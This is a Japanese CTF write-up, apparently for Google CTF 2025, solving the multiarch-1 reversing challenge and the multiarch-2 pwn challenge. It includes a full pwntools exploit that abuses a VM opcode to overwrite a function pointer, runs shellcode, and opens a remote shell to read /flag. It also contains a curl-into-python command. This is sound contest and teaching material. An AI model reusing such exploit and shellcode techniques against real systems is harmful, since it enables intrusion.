0x00000000], opcode: 21 :: C+=1 Read8(0x000010d8) => 0x30 Read32(0x000010d9) => 0x00000001 Read8(0x000010dd) => 0x82 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 82 :: 多分CMP(C, 10) Read32(0x000010de) => 0x0000000a CMP: Value2: 0x00000001, Value1: 0x0000000a Read8(0x000010e2) => 0x62 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 62 :: JZ Read8(0x000010e7) => 0x68 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 68 :: GOTO 0x000010b8 Read32(0x000010e8) => 0x000010b8 Read8(0x000010b8) => 0x60 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 60 Read32(0x000010b9) => 0x00001145 Write32(0x00008edc, 0x000010bd) #### CALL #### Read8(0x00001145) => 0xc5 RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: c5 :: A=0x00133700(2回目以降も同じ!) (以降省略)
全体として、srand(32-bit入力値)というものすごい入力の使い方をしてから、10ループ中1回でも「rand()2回を元にした計算結果下位32-bitが0x00c0ffee」になれば突破できるようです。32-bitブルートフォースが良さそうですし、おそらく24-bit程度の探索で解の1つは見つかりそうです。
最初はmulti_arch crackme.masmと与えられたバイナリへブルートフォースを試していましたが、毎秒50回程度の速度にとどまりました。「確かPythonからglibcの関数を直接呼び出す方法があったはず」と思ってGoogle検索するとctypesライブラリを使った手法を見つけたので、その方法で実装しました:
#!/usr/bin/env python3 import ctypes import tqdm libc = ctypes.CDLL("libc.so.6") def attack(answer3: int) -> bool: libc.srand(answer3) for i in range(10): value = 0x00133700 rand = libc.rand() & 0xFFFF rand |= (libc.rand() & 0xFFFF) << 16 # print(f"{rand = :08x}") value ^= rand value ^= 0xF2F2F2F2 if (value & 0x00FFFFFF) == 0x00C0FFEE: tqdm.tqdm.write(f"{value: 08x}") return True return False attack(0xDEADBEEF) # テストに使った内容 for i in tqdm.trange(1 << 32): if attack(i): tqdm.tqdm.write(str(i)) break
実行すると、毎秒10万回を超える速度が出ました。実行すると数十秒で、入力値が2688102なら計算結果が81c0ffeeとなって正解判定となることが分かりました。
リモートへの送信内容とフラグ
3個のChallengeそれぞれで正解となる入力を無事に求められたので、問題文記載のnc接続先と通信しました:
$ nc multiarch-1.2025.ctfcompetition.com 1337
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AJyu.AAARDOM2gYD7cout/9c9W3Sz
===================
Solution? s.AABZGQ2rHOu9Y21sC754CPZDTIzW9DEv5VI/YCXNmAaJug5XVfIHBe9wiHTIRvysMoYvrAkdIZaeuwHCLs/Cb8mRRAJYOxG0FfTjr9XXabYc04xpeN/x4kZBW9Vse3qmEPqjOtGMkg6G8W8sNYTfCp8Eno7rmjYGAfeW/xmGYy4KRGBjillmewJ9jh6qRIS76z6bsK9PvftO76VAOVeGJ7FK
Correct
Welcome to the multiarch of madness! Let's see how well you understand it.
Challenge 1 - What's your favorite number? 2405061754
Challenge 2 - Tell me a joke: |G0V|BeM1W2fZJgI2q{=FVrYzeM~UQP
Challenge 3 - Almost there! But can you predict the future?
What number am I thinking of? 2688102
Congrats! You are the Sorcerer Supreme of the multiarch!
Here, have a flag: CTF{st3ph3n_str4ng3_0nly_us3s_m1ps_wh4t_a_n00b}
フラグを入手できました: CTF{st3ph3n_str4ng3_0nly_us3s_m1ps_wh4t_a_n00b}
[pwn] multiarch-2 (48 teams solves, 206 points)
My program was cool, but I bet you can write even cooler ones! Send them to my server, and try to read the flag at /flag. multiarch-2.2025.ctfcompetition.com 1337
別のnc接続先がありました。また、配布ファイルもありますが、問題本体のmultiarchはrevジャンルのmultiarch-1と完全に同一です!crackme.masmではなく任意のMASMファイルを与えて、任意コード実行を達成する問題です。
crackme.masmでは使わなかった怪しい機能
reversingジャンルのmultiarch-1でmultiarchバイナリを解析中、次のことを思っていました:
MASMファイルパース結果のtextセクション相当やdataセクション相当の内容は、mmap関数で読み書き実行可能な領域にコピーされます。pwn視点で悪用できそうです。- 独自system call 5のフラグ表示機能で、環境変数
FLAGを取得する処理を、わざわざ関数ポインター経由で呼び出しているのが怪しいです。 - 独自system call 6のメモリ確保機能が、
crackme.masmではまったく使われていません。 RegVM instruction側のopcode0x41を処理する0x273A付近で、レジスタやメモリではない何かを変更しようとしていてものすごく怪しいです:
case 0x41u: v16 = pContext->dwPC_Initial0x1000; pContext->dwPC_Initial0x1000 = v16 + 1; if ( Read8(pContext, v16, (unsigned __int8 *)&dwSome) && (bSucceeded = Read32(pContext, pContext->dwPC_Initial0x1000, &dwValue)) ) { pContext->dwPC_Initial0x1000 += 4; v17 = ((unsigned __int8)dwSome >> 4) - 1 + 0xCLL; *(_DWORD *)((char *)&pContext->pDataSegment_Size0x1000_Rwx + 4 * v17 + 3) ^= dwValue;// 左辺がすごく怪しい } else { pContext->bExecutionFailed = 1; return 0; } return bSucceeded;
最終的に、怪しいと思った点すべてを活用できました!
VM中仮想アドレスの参照先をVM実行状態構造体へ書き換える
RegVM instruction側のopcode 0x41の処理内容をデバッガーで確認すると、なんとVM実行状態構造体の途中からのメンバーを4バイトXORできることが分かりました!opcode 0x41のオペランド5バイト中先頭1バイトが書き換え先メンバーを表します。1バイトオペランド >> 4のように使わているので、0x10ごとに書き換え先が変化します。VM実行状態を表す構造体を再掲します:
struct HeapSegment { void *pAllocatedSize0x200; int dwVmAddrBegin; }; struct VmContext { void *pTextSegment_Size0x1000_Rwx; void *pDataSegment_Size0x1000_Rwx; void *pStackSegment_Size0x1000_Rwx; unsigned __int8 *pDataSegment_3_ForInstructionIsStackOrReg; __int64 qwSize_Segment3_StackOrRegBits; const char *(*fpGetFlagFromEnvironmentVariable)(void); bool bExecutionFailed; bool bCanUseSyscall6_WhenRegInst; ///< StackInstだとこのフラグは無視できる unsigned __int8 dwStatusFlag_0ZF_1OF_2Something; unsigned int dwPC_Initial0x1000; unsigned int dwSP_Initial0x8F00; // RegVM instruction書き換え可能範囲ここから unsigned int dwRegisterAbcdArraySize4[4]; ///< [0]: Aレジスタ ///< [1]: Bレジスタ ///< [2]: Cレジスタ ///< [3]: Dレジスタ HeapSegment heapSegmentArray_Size5[5]; ///< RevM instruction 0x41で書き換え可能範囲はここの[4]途中まで unsigned __int8 byteHeapSegmentCount; };
ここで、独自system call 6で割り当てられたメモリアドレスHeapSegment::pAllocatedSize0x200を書き換えると、multiarchプロセス中の別メモリ領域をVM実行中に読み書きできそうです。
独自systemm call 6ではcalloc(0x200u, 1u)の形でメモリを確保します。また、上記VM実行状態構造体もcalloc(1, 0x88)の形で確保されます。pwndbgのheapコマンドなどで確認すると、2つのメモリ確保の間にはcalloc(1, 10)が1個挟まっているだけであり、途中のfree等も存在しないらしいことが分かりました。そうなると、VM実行状態用の確保メモリアドレスと、独自system call 6での確保メモリアドレスは一定距離である可能性があります。
今回使用できるのはXOR演算であるため、HeapのASLR配置による影響を受けると思います。ただ手元実行時では、pwndbgで確認したアドレスを使うと、独自system all 6結果のアドレスをXORすることでVM実行状態構造体の先頭アドレスへ書き換えられました。確認したアドレスのメモです:
# 0x614ff0560580 : vmcontext # 0x614ff0560630 : 独自syscall 6のやつ XOR_VALUE_TO_VMCONTEXT = (0x614FF0560630 + 0x10) ^ (0x614FF0560580 + 0x10)
関数ポインター書き換えでのシェルコード実行
VM実行状態構造体をVM命令経由で読み書きできるようになりました。色々考えて、次の方針で実装しました:
- MASMファイルのdataセグメント箇所に、シェルを起動するシェルコードをそのまま含めます。
- 前節の手法で、独自system call 6で確保したアドレスをVM実行状態構造体のアドレスへ書き換えます。
- 独自system call 2を使って、VM実行状態構造体の内容をすべて取得します。
fwrite関数が使われるため、構造体中にNULバイトが含まれていても問題ありません。 - 取得結果から、MASMファイルのdataセグメント内容がそのままコピーされた、読み書き実行可能なメモリアドレスを取得します(上記構造体の命名では
pDataSegment_Size0x1000_Rwxメンバーの内容を取得します)。 - 独自system call 1を使って、独自system call 5時に呼び出される関数ポインターメンバーの内容を、前の手順で取得したdataセグメント内容のアドレスへ書き換えます(上記構造体の命名では
fpGetFlagFromEnvironmentVariableメンバーの内容を書き換えます)。 - 独自system call 5を使って、書き換え先アドレスにあるシェルコードを実行してシェルを得ます。
ソルバーとフラグ
最終的なソルバーです(実験中のコードも多く残っています):
#!/usr/bin/env python3 import struct import pwn MASM_FILE_NAME = "exploit.masm" elf = pwn.ELF("multiarch_patched", checksec=False) libc = pwn.ELF("libc.so.6", checksec=False) pwn.context.binary = elf # pwn.context.log_level = "DEBUG" SIZE_VMCONTEXT = 0x88 OFFSET_VMCONTEXT_FP = 0x28 # 関数ポインターを持つメンバーのoffset def create_exploit_file(): segment_text = bytearray() segment_data: bytes = pwn.asm(pwn.shellcraft.amd64.linux.sh()) # type: ignore segment_stack_reg_bits_list: list[bool] = [] # 0: Stack, 1:Reg def validate_int8(value: int): if value < 0 or value >= (1 << 8): raise Exception(f"{value:08x} is Out of range!") def validate_int16(value: int): if value < 0 or value >= (1 << 16): raise Exception(f"{value:08x} is Out of range!") def validate_int32(value: int): if value < 0 or value >= (1 << 32): raise Exception(f"{value:08x} is Out of range!") def append_as_stack_inst(data: bytes): assert len(data) == 5 segment_text.extend(data) segment_stack_reg_bits_list.extend([False] * len(data)) def append_as_reg_inst(data: bytes): assert len(data) > 0 segment_text.extend(data) segment_stack_reg_bits_list.extend([True] * len(data)) def push8(value: int): validate_int8(value) append_as_stack_inst(pwn.p8(0x10) + pwn.p32(value)) def push32(value: int): validate_int32(value) append_as_stack_inst(pwn.p8(0x30) + pwn.p32(value)) def vm_inst_syscall(): # syscall引数のpushは先にやっておいてください。 append_as_stack_inst(pwn.p8(0xA0) + pwn.p32(0xDEADBEEF)) def set_register_A(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xC5) + pwn.p32(value)) def set_register_B(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xCD) + pwn.p32(value)) def set_register_C(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xD5) + pwn.p32(value)) def set_register_D(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xDD) + pwn.p32(value)) def push_register_A(): append_as_reg_inst(pwn.p8(0x11)) def pop_register_A(): append_as_reg_inst(pwn.p8(0x15)) def xor_vmcontext_field(index: int, value_to_xor: int): validate_int8(index) validate_int32(value_to_xor) append_as_reg_inst(pwn.p8(0x41) + pwn.p8(index) + pwn.p32(value_to_xor)) def reg_inst_syscall(): append_as_reg_inst(pwn.p8(0x01)) def vm_syscall_1_input_string(addr_begin: int, size: int): set_register_A(1) set_register_B(addr_begin) set_register_C(size) reg_inst_syscall() def vm_syscall_2_dump_memory(addr_begin: int, size: int): set_register_A(2) set_register_B(addr_begin) set_register_C(size) reg_inst_syscall() def vm_syscall_5_call_function_pointer(): # あるのはStackInst側のみ set_register_A(0) push8(5) vm_inst_syscall() def vm_syscall_6_allocate(desired_address: int): validate_int32(desired_address) set_register_A(0) # StackVM時も検証はRegisterAを使う push32(desired_address) push8(6) vm_inst_syscall() # 結果のアドレスはpushされる def vm_exit(): data = pwn.p8(0x00) segment_text.extend(data) segment_stack_reg_bits_list.extend([True] * len(data)) # 実際のエクスプロイト用入力を作成 if False: # テスト用。Stack枯渇検証 set_register_A(0xDEADBEEF) for i in range(0x1000 // 4): push_register_A() if False: # テスト用。syscall 6検証。 vm_syscall_6_allocate(0x0000_0000) pop_register_A() # 0xa_0000へマップされる vm_syscall_6_allocate(0x0000_0000) pop_register_A() # 0xb_0000 vm_syscall_6_allocate(0xFFFF_F000) pop_register_A() # 指定通りに0xFFFF_F000へマップ vm_syscall_6_allocate(0xFFFF_F000) pop_register_A() # こっちが0x0000_0000へマップされている!なにかに使えるか? vm_syscall_6_allocate(0xFFFF_F000) pop_register_A() # 上のあと、text, dataと続くので0x3000へマップ if False: # RegInst 0x41は何をする?→VMContextのメンバー書き換え! # xor_vmcontext_field(0x00, 0xAABBCCDD) # SP書き換え # set_register_A(0xAAAAAAAA) # xor_vmcontext_field(0x10, 0xAABBCCDD) # RegisterA # set_register_B(0xBBBBBBBB) # xor_vmcontext_field(0x20, 0xAABBCCDD) # RegisterB # set_register_C(0xCCCCCCCC) # xor_vmcontext_field(0x30, 0xAABBCCDD) # RegisterC # set_register_D(0xDDDDDDDD) # xor_vmcontext_field(0x40, 0xAABBCCDD) # RegisterD vm_syscall_6_allocate(0xFFFF_F000) vm_syscall_6_allocate(0xFFFF_F000) vm_syscall_6_allocate(0xFFFF_F000) vm_syscall_6_allocate(0xFFFF_F000) xor_vmcontext_field(0x50, 0xDEADBEEF) # Heap[0]のアドレス下位4バイト xor_vmcontext_field(0x60, 0xDEADBEEF) # Heap[0]のアドレス上位4バイト xor_vmcontext_field(0x70, 0xDEADBEEF) # Heap[0]のVM中論理アドレス xor_vmcontext_field(0x80, 0xDEADBEEF) # Heap[1]のアドレス下位4バイト xor_vmcontext_field(0x90, 0xDEADBEEF) # Heap[1]のアドレス上位4バイト xor_vmcontext_field(0xA0, 0xDEADBEEF) # Heap[1]のVM中論理アドレス xor_vmcontext_field(0xB0, 0xDEADBEEF) # Heap[2]のアドレス下位4バイト xor_vmcontext_field(0xC0, 0xDEADBEEF) # Heap[2]のアドレス上位4バイト xor_vmcontext_field(0xD0, 0xDEADBEEF) # Heap[2]のVM中論理アドレス xor_vmcontext_field(0xE0, 0xDEADBEEF) # Heap[3]のアドレス下位4バイト xor_vmcontext_field(0xF0, 0xDEADBEEF) # Heap[3]のアドレス上位4バイト ALLOCATED_VM_ADDR = 0xF000_1000 # gdbでの確認事例 # 0x5dc372556540 : vmcontext # 0x5dc3725565f0 : 独自syscall 6のやつ # 別の確認事例(heapコマンド) # 0x5c1d5d15a540: vmcontext # 0x5c1d5d15a5f0 : 独自syscall 6のやつ XOR_VALUE_TO_VMCONTEXT = (0x5C1D5D15A5F0 + 0x10) ^ (0x5C1D5D15A540 + 0x10) # 別の確認事例 # 0x614ff0560580 : vmcontext # 0x614ff0560630 : 独自syscall 6のやつ XOR_VALUE_TO_VMCONTEXT = (0x614FF0560630 + 0x10) ^ (0x614FF0560580 + 0x10) vm_syscall_6_allocate(ALLOCATED_VM_ADDR) # Heap[0]のアドレス下位4バイトを変更してVMContextへ重ねたい xor_vmcontext_field(0x50, XOR_VALUE_TO_VMCONTEXT) # VMContext内部をすべて出力させて、address leak等。 vm_syscall_2_dump_memory(ALLOCATED_VM_ADDR, SIZE_VMCONTEXT) # あとはFunctionPointer書き換え。 # 次のアドレスがちょうど「bExecutionFailed」なので、NUL終端文字が入っても大丈夫 vm_syscall_1_input_string(ALLOCATED_VM_ADDR + OFFSET_VMCONTEXT_FP, 8) # FunctionPointer発動 vm_syscall_5_call_function_pointer() # 終了前のfreeが正常動作するように一応戻す xor_vmcontext_field(0x50, XOR_VALUE_TO_VMCONTEXT) vm_exit() # これを外せば、最後にStackVMのinst0を実行しようとしてエラー出力してくれて便利 # 実際のファイルへの書き込み等 assert len(segment_text) == len(segment_stack_reg_bits_list) segment_stack_reg_bits = bytearray() bits_current = 0 for i, b in enumerate(segment_stack_reg_bits_list): if b: bits_current |= 1 << (i % 8) if i == len(segment_stack_reg_bits_list) - 1 or i % 8 == 7: segment_stack_reg_bits.append(bits_current) bits_current = 0 with open(MASM_FILE_NAME, "wb") as f: f.write(b"MASM") HEADER_SIZE = 4 + (3 * 5) offset_data_current = HEADER_SIZE f.write(pwn.p8(1)) f.write(pwn.p16(offset_data_current)) f.write(pwn.p16(len(segment_text))) offset_data_current += len(segment_text) f.write(pwn.p8(2)) f.write(pwn.p16(offset_data_current)) f.write(pwn.p16(len(segment_data))) offset_data_current += len(segment_data) f.write(pwn.p8(3)) f.write(pwn.p16(offset_data_current)) f.write(pwn.p16(len(segment_stack_reg_bits))) f.write(segment_text) f.write(segment_data) f.write(segment_stack_reg_bits) create_exploit_file() def solve(io: pwn.tube): # syscall 2でのVMContext出力 io.recvuntil(b"[I] executing program\n") vmcontext = io.recvn(SIZE_VMCONTEXT) ( addr_text_segment, addr_data_segment, addr_stack_segment, addr_ins_types, size_ins_types, addr_get_flag, ) = struct.unpack("<QQQQQQ", vmcontext[:48]) print(f"{addr_get_flag = :016x}") elf.address = addr_get_flag - 0x12E0 print(f"{elf.address = :016x}") # addr_test_to_overwrite = elf.address + 0x174A # [D] executing as system now # 関数ポインター書き換え確認用 payload = pwn.p64(addr_data_segment) assert b"\n" not in payload # 改行が終端扱いになってしまうので存在すべきではない io.send(payload) io.interactive() io.stream(line_mode=False) # fmt: off GDBSCRIPT = r""" set show-tips off set follow-fork-mode parent handle SIGALRM nostop # 実行終了時のfwrite付近の分岐にブレーク仕掛けたい # breakrva 0x300F # # # RegInst 0x41を動作確認したい # breakrva 0x2736 # # →独自syscall 6のcalloc結果のアドレスも改ざんできます # # main到達前にも色々処理されるので、mainまで進めてからやる。 breakrva 0x2F5E continue break calloc # 関数ポインター書き換え状況を知りたい # 使われない関数へ飛ばす。 breakrva 0x174A continue """ # with pwn.gdb.debug([elf.path, MASM_FILE_NAME], GDBSCRIPT) as io: solve(io) # with pwn.process(["gdb", "-x", "test-gdb.py", elf.path]) as io: solve(io) # with pwn.process([elf.path, MASM_FILE_NAME]) as io: solve(io) with pwn.remote("multiarch-2.2025.ctfcompetition.com", 1337) as io: with open(MASM_FILE_NAME, "rb") as f: masm_data = f.read() print(io.recvuntil(b"Solution?", drop=False).decode()) solution = input() io.sendline(solution.encode()) io.sendlineafter(b"How big is your program? ", str(len(masm_data)).encode()) io.send(masm_data) solve(io)
実行しました:
$ ./solve.py
[+] Opening connection to multiarch-2.2025.ctfcompetition.com on port 1337: Done
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AJyu.AAAUAHRoWUKwUoTD6WsU3toH
===================
Solution?
s.AABNEHHV21Za1pTaIYCtwQS1rCOHcRp6Jhn3TXYi7o6PIsrvNRgN7iVsPF4lGDPq6VUJ9TjOniqWqtke4KgYxWFsSxfULAbsNOLC6GDu9+UzvRcS8veGrB4IR0Bx2u3muVJjQDJHGHvUv2Bexa6ay648WbZW45cUWTQw5rfiEY+PW0C/CGM/bvr6KjGY7ZqiVZqJ8lG1kq758wlGgLbMwxm5
addr_get_flag = 000055959c6162e0
elf.address = 000055959c615000
[*] Switching to interactive mode
$ ls
multiarch
runner.py
$ whoami
user
$ cat /flag
CTF{y0u_4r3_th3_s0rc3rer_supr3m3_n0w_h4ppy_h4xing}$
フラグを入手できました: CTF{y0u_4r3_th3_s0rc3rer_supr3m3_n0w_h4ppy_h4xing}
感想
- 1つのバイナリでReversingジャンル問題とPwnジャンル問題があると面白いです。両方解けると爽快です!
- 主にReversingジャンルとMiscジャンルの問題を見ていました。解けませんでしたが、GUIゲームを題材とした問題が多く、コンテストのテーマを感じました。
- Reversingジャンルのそのような問題だと、ゲームエンジン部分とゲーム本質部分の区別が大事だと思います。ただそのあたりに不慣れで、コードの海に溺れてなすすべもありませんでした……。
- ルール記載がPDF資料で、かつqualification stageとfinal stageの話がまとめて記載されています。読むのが少し大変に思いました。